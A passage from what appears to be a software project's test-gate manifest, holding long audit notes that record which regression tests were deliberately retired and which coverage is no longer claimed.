terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic main-IPC contract tests cover disconnect-driven close delivery, exactly-once close, per-subscription teardown isolation against a failing socket close and a throwing liveness probe, containment of a throwing renderer send on the unguarded host-close path, and continued suppression of stale payloads from a retired transport. A headed paired-server journey (real Orca host plus a separate paired Orca desktop client) covers hidden-but-mounted reveal, cold-parked reveal, and cold-parked reveal across a disconnect/reconnect. Live Linux and Windows paired-server evidence and real sleep/wake transport loss remain uncollected.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing 